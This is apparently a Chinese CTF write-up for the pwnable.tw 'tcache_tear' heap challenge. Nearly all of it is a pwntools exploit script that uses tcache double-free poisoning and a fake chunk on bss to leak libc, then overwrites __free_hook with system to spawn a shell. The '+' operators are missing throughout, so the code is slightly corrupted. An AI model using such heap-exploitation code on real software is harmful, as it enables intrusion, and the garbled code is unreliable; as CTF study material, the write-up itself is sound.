之所以记录这题是因为一开始我忽略了两个很朴素的方法组合在一起所造成的地址泄露技巧——bss任意写 0x20字节输出 伪造堆块。被常规思维束缚(平时比赛的恰饭题千篇一律也是一个原因)的我老想着找办法去打stdout,然而对于free次数的限制根本不允许我这么做。于是转念一想,既然不能泄露有libc地址的地方,我可以通过伪造大堆块并释放,让地址出现在bss上我可以输出的部分。
题目分析
思路
EXP
代码语言:javascript复制from pwn import *
#p = process("./tcache_tear")
p = remote("chall.pwnable.tw", 10207)
elf = ELF("./tcache_tear")
libc = ELF("./libc-remote.so")
context.log_level = "debug"
def malloc(size:int, content):
p.recvuntil(b"Your choice :")
p.sendline(b"1")
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Data:")
p.send(content)
def free():
p.recvuntil(b"Your choice :")
p.sendline(b"2")
def info():
p.recvuntil(b"Your choice :")
p.sendline(b"3")
def exp():
#const
printf_plt = elf.symbols[b"printf"]
atoll_got = elf.got[b"atoll"]
bss_name = 0x602060
bss_chunk_ptr = 0x602088
print("printf_plt:", hex(printf_plt))
print("atoll_got:", hex(atoll_got))
print("bss_name:", hex(bss_chunk_ptr))
print("bss_chunk_ptr:", hex(bss_chunk_ptr))
name = p64(0) p64(0x511)
p.recvuntil(b"Name:")
p.send(name)
# leak lib
## tcache attach 1
malloc(0x68, b"aaaa")
for i in range(2):
free()
malloc(0x68, p64(bss_name 0x510))
malloc(0x68, b"bbbb")
## make fake_fastchunk for fake_largechunk
print("fake_fastchunk*2:", hex(bss_name 0x510))
payload = p64(0) p64(0x21) p64(0)*3 p64(0x21)
malloc(0x68, payload)
## tcache attack 2
malloc(0x78, b"cccc")
for i in range(2):
free()
malloc(0x78, p64(bss_name 0x10))
malloc(0x78, b"dddd")
## build fake_largechunk
print("fake_fastchunk*2:", hex(bss_name 0x10))
payload = p64(0) p64(0)
malloc(0x78, payload) #get fake_largechunk_ptr
## get libc addr
free()
## leak info
info()
p.recvuntil(b"Name :")
p.recv(0x10)
libc_leak = u64(p.recv(8))
libc_base = libc_leak - 0x3ebca0
system = libc_base libc.symbols[b"system"]
free_hook = libc_base libc.symbols[b"__free_hook"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
malloc(0x58, b"e"*8)
for i in range(2):
free()
malloc(0x58, p64(free_hook))
malloc(0x58, b"ffff")
malloc(0x58, p64(system))
gdb.attach(p)
malloc(0x18, b"/bin/shx00")
free()
p.interactive()
if __name__ == "__main__":
exp()